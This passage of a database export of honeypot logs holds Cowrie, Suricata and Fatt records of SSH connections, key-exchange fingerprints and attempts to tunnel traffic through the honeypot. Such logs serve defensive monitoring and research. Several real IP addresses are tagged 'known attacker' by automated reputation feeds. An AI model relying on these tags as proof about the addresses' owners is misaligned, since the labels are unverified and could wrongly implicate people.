Ax\\\\xd8U\\\\x06\\\\xa33a\\\\xffG\\\\x8f\\\\x06\\\\xa9\\\\x85\\\\x85\\\\xc0t\\\\x8d\\\\xfa\\\\xf1\\\\x8e?\\\\xbd\\\\x8cs\\\\x8d\\\\xb6\\\\xe3h\\\\x9e\\\\x1e\\\\x19\\\\x00\\\\x17\\\\x00A\\\\x04?W\\\\xd6\\\\xd26\\\\xce\\\\x8e\\\\x8c\\\\xc5\\\\xe2\\\\x00\\\\xd0\\\\xdf\\\\x0f #\\\\xcc\\\\xc6\\\\xde\\\\x02\\\\xb9\\\\xe6\\\\xdb\\\\xf9} \\\\xa9(:\\\\xf2\\\\xacF{\\\\x12\\\\xb9\\\\xc4\\\\xdaN\\\\xd2b2\\\\xe6\\\\xbb5,\\\\xf4\\\\xc8\\\\xbc\\\\x07U(\\\\xb5\\\\x837U\\\\t\\\\x88\\\\x8c\\\\xc2\\\\xcc\\\\xf2!!.\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'", "session": "b961918efaae", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:16:29.497730Z", "@timestamp": "2021-09-20T11:16:29.497Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28193	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:29.906116+03	2021-09-20 14:30:02.505554+03	{"_id": "6AbrAnwBvYTbRNuE9ixX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 3, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\x1fM0\\\\x93\\\\xd1\\\\xf3]\\\\xbe2CB\\\\x86\\\\xcdk;\\\\xe3\\\\xd4}eJ\\\\xceD\\\\xcf\\\\n\\\\xe3V\\\\x01@\\\\x83\\\\x8b;\\\\xc2\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 3 to 213.174.157.83:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x00\\\\xba\\\\x01\\\\x00\\\\x00\\\\xb6\\\\x03\\\\x03\\\\x1fM0\\\\x93\\\\xd1\\\\xf3]\\\\xbe2CB\\\\x86\\\\xcdk;\\\\xe3\\\\xd4}eJ\\\\xceD\\\\xcf\\\\n\\\\xe3V\\\\x01@\\\\x83\\\\x8b;\\\\xc2\\\\x00\\\\x00\\\\x1e\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\n\\\\xc0\\\\t\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x003\\\\x009\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x00o\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\n\\\\x00\\\\x08\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01'", "session": "b961918efaae", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:16:29.906116Z", "@timestamp": "2021-09-20T11:16:29.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
28194	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:16:31.466877+03	2021-09-20 14:30:02.507524+03	{"_id": "7gbrAnwBvYTbRNuE-ixA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 190.201.223.33:48550 (192.168.176.2:22) [session: ddc5e22cd61c]", "session": "ddc5e22cd61c", "@version": "1", "protocol": "ssh", "src_port": 48550, "dest_port": 22, "timestamp": "2021-09-20T11:16:31.466877Z", "@timestamp": "2021-09-20T11:16:31.466Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28195	190.201.223.33	109.199.241.180	Suricata	2021-09-20 14:16:31.790586+03	2021-09-20 14:30:02.508554+03	{"_id": "9QbrAnwBvYTbRNuE_CwN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:31.225379+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "190.201.223.33", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1961092495405155, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48550, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:31.790586Z", "@timestamp": "2021-09-20T11:16:31.790Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	\N
28196	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:16:32.08931+03	2021-09-20 14:30:02.510553+03	{"_id": "-AbrAnwBvYTbRNuE_SxS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54461, "dest_port": 22, "timestamp": "2021-09-20T11:16:32.089310", "@timestamp": "2021-09-20T11:16:32.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28197	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:25.765589+03	2021-09-20 14:30:02.511553+03	{"_id": "1QbrAnwBvYTbRNuE4izM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "b961918efaae", "@version": "1", "timestamp": "2021-09-20T11:16:25.765589Z", "@timestamp": "2021-09-20T11:16:25.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
28198	8.9.231.227	109.199.241.180	Suricata	2021-09-20 14:16:25.764817+03	2021-09-20 14:30:02.513555+03	{"_id": "1wbrAnwBvYTbRNuE5Cyb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.64.94.2241123109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.9.231.227", "dest_ip": "192.168.20.116", "flow_id": 466628559577586, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 65413, "dest_port": 22, "timestamp": "2021-09-20T11:16:25.764817Z", "@timestamp": "2021-09-20T11:16:25.764Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28199	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:16:25.995906+03	2021-09-20 14:30:02.514554+03	{"_id": "2wbrAnwBvYTbRNuE5Szg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": null, "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49334, "dest_port": 22, "timestamp": "2021-09-20T11:16:25.995906", "@timestamp": "2021-09-20T11:16:25.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28200	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:26.382738+03	2021-09-20 14:30:02.515553+03	{"_id": "3QbrAnwBvYTbRNuE5iy0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "1.1.1.1", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 1.1.1.1:53 from 127.0.0.1:65483", "session": "b961918efaae", "@version": "1", "src_port": 65483, "dest_port": 53, "timestamp": "2021-09-20T11:16:26.382738Z", "@timestamp": "2021-09-20T11:16:26.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28201	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:25.578888+03	2021-09-20 14:30:02.517553+03	{"_id": "0QbrAnwBvYTbRNuE4izL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.9.231.227:65413 (192.168.176.2:22) [session: b961918efaae]", "session": "b961918efaae", "@version": "1", "protocol": "ssh", "src_port": 65413, "dest_port": 22, "timestamp": "2021-09-20T11:16:25.578888Z", "@timestamp": "2021-09-20T11:16:25.578Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28202	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:16:25.995906+03	2021-09-20 14:30:02.518554+03	{"_id": "2AbrAnwBvYTbRNuE5Cyb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:06.314248+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 127046969117576, "payload": "AAADzAYUxih2xDa/zZW1pha4353r1QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49334, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:25.995906Z", "@timestamp": "2021-09-20T11:16:25.995Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 